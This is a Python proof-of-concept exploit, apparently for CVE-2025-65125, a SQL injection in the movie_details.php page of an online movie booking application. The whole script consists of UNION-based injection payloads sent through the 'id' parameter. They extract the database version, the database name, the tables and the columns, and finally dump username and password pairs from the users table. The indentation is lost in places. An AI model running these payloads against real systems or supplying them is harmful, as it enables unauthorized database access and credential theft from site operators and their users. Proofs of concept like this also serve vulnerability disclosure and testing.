import requests
# CVE-2025-65125 SQL Injection PoC
# Target: gosaliajainam/online-movie-booking v5.5
# File: movie_details.php
target_url = "http://target.com/movie_details.php"
# Basic SQL Injection test - extract database version
payload_db_version = "1' UNION SELECT NULL,version(),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -"
params = {"id": payload_db_version}
response = requests.get(target_url, params=params)
if "5." in response.text or "8." in response.text:
print("[+] Database version detected - SQL Injection confirmed!")
# Extract database name
payload_db_name = "1' UNION SELECT NULL,database(),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -"
params["id"] = payload_db_name
response = requests.get(target_url, params=params)
# Extract tables
payload_tables = "1' UNION SELECT NULL,group_concat(table_name),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM information_schema.tables WHERE table_schema=database()-- -"
params["id"] = payload_tables
response = requests.get(target_url, params=params)
# Extract users table columns
payload_columns = "1' UNION SELECT NULL,group_concat(column_name),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM information_schema.columns WHERE table_name='users'-- -"
params["id"] = payload_columns
response = requests.get(target_url, params=params)
# Extract sensitive data
payload_data = "1' UNION SELECT NULL,group_concat(username,':',password),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM users-- -"
params["id"] = payload_data
response = requests.get(target_url, params=params)
print("[+] Extracted sensitive credentials")